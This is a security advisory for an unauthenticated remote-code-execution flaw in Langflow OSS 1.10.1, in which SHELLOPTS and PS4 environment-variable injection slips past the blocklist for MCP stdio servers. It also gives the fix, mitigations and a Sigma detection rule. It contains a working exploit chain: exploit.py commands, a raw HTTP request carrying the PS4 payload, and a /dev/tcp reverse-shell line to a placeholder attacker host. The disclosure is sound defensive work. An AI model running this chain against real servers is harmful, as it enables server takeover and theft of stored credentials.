Unauthenticated remote code execution in Langflow
OSS through 1.10.1. The environment-variable blocklist that guards MCP stdio server
configuration (DANGEROUS_ENV_VARS) omits SHELLOPTS, BASHOPTS and PS4. Because the
MCP stdio launcher runs the configured command through bash -c, an attacker can inject
SHELLOPTS=xtrace plus a PS4 command substitution and execute arbitrary shell commands
as the Langflow process user — no valid MCP command, no auth on a default install.
| CVE | CVE-2026-12940 |
| Product | Langflow OSS |
| Affected | 1.0.0 – 1.10.1 |
| Fixed | 1.10.2 |
| Class | OS Command Injection (CWE-78) via environment-variable injection |
| CVSS 3.1 | 9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| Auth | Unauthenticated on default install (AUTO_LOGIN on by default in 1.10.1) |
| Status | CONFIRMED VULNERABLE — verified end-to-end on langflowai/langflow:1.10.1 |
Langflow lets a user register external MCP (Model Context Protocol) stdio servers via
POST /api/v2/mcp/servers/{name}. The request body is validated by MCPServerConfig
(src/backend/base/langflow/api/v2/schemas.py), which is careful about command, args
and env keys:
commandmust be in an allowlist (node,python,npx,uvx,docker,sh,bash…).argsare scanned for shell metacharacters (;,|,$,`,(,), …) and dangerous keywords (-c,eval,pip install, …).- env keys are checked against
DANGEROUS_ENV_VARS(LD_PRELOAD,PATH,NODE_OPTIONS,PYTHONPATH,BASH_ENV, …).
Two gaps combine into RCE:
-
env values are never sanitized. Only the keys are checked against the blocklist; the values are passed through verbatim. So a
PS4value of$(id)survives even though the exact same characters would be rejected insideargs. -
The blocklist is incomplete. In 1.10.1
DANGEROUS_ENV_VARSdoes not containshellopts,bashoptsorps4.
The launcher (src/lfx/src/lfx/base/mcp/util.py) then runs, on Unix:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)With SHELLOPTS=xtrace bash enables set -x at startup and, before executing the first
traced line, expands the PS4 prompt. Command substitution inside PS4 therefore runs
immediately — independent of command/args, which never even need to be valid.
The blocklist is centralized in src/lfx/src/lfx/base/mcp/util.py as DANGEROUS_MCP_ENV_VARS
and gains shellopts, bashopts, ps4 (plus env, defense-in-depth). schemas.py now calls
is_dangerous_mcp_env_var(). The registration below is rejected with HTTP 422 on 1.10.2.
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
The raw HTTP chain:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`--ps4 gives a raw primitive for reverse shells / OAST callbacks:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proofFixed-version boundary (rejected):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"See EVIDENCE.txt for the full captured transcript and
ANALYSIS.md for the source-level walkthrough.
CONFIRMED VULNERABLE on langflowai/langflow:1.10.1, verified by two independent
techniques:
- File write with resolved output — a file that did not exist before the request
contains
uid=1000(user) gid=0(root) groups=0(root), the real output ofid(1)resolved against the target's/etc/passwd. This is not an echo of the input string$(id …). - Out-of-band TCP callback — the target dials back to an attacker listener carrying its
real hostname and kernel (
CALLBACK user@vbox 6.18.12+kali-amd64).
PATCHED on langflowai/langflow:1.10.2 — the same registration returns HTTP 422.
Note on the unauthenticated claim. The 1.10.1 image ships with
AUTO_LOGINenabled by default, so/api/v1/auto_loginreturns a superuser token to any caller with no credentials — that is what makes the full chain unauthenticated on a default deployment. On an instance where auth is enforced, the same RCE is reachable by any authenticated user with a valid token/API key (pass it via--token). The 1.10.2 image additionally requires credentials to start, an unrelated hardening.
Arbitrary command execution as the Langflow service account. Full read of every secret, credential and flow in the Langflow database, access to internal services and cloud metadata, and a pivot into the surrounding network.
- Upgrade to Langflow OSS ≥ 1.10.2.
- Do not expose Langflow to untrusted networks with
AUTO_LOGINenabled; set explicit superuser credentials and disable auto-login. - Defense in depth: run the service under a restricted account with no outbound network egress.
Look for MCP server registrations whose env carries shell-control variables, and for
bash children of the Langflow process:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma (process creation):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high© Caio Fabrício (BiiTts).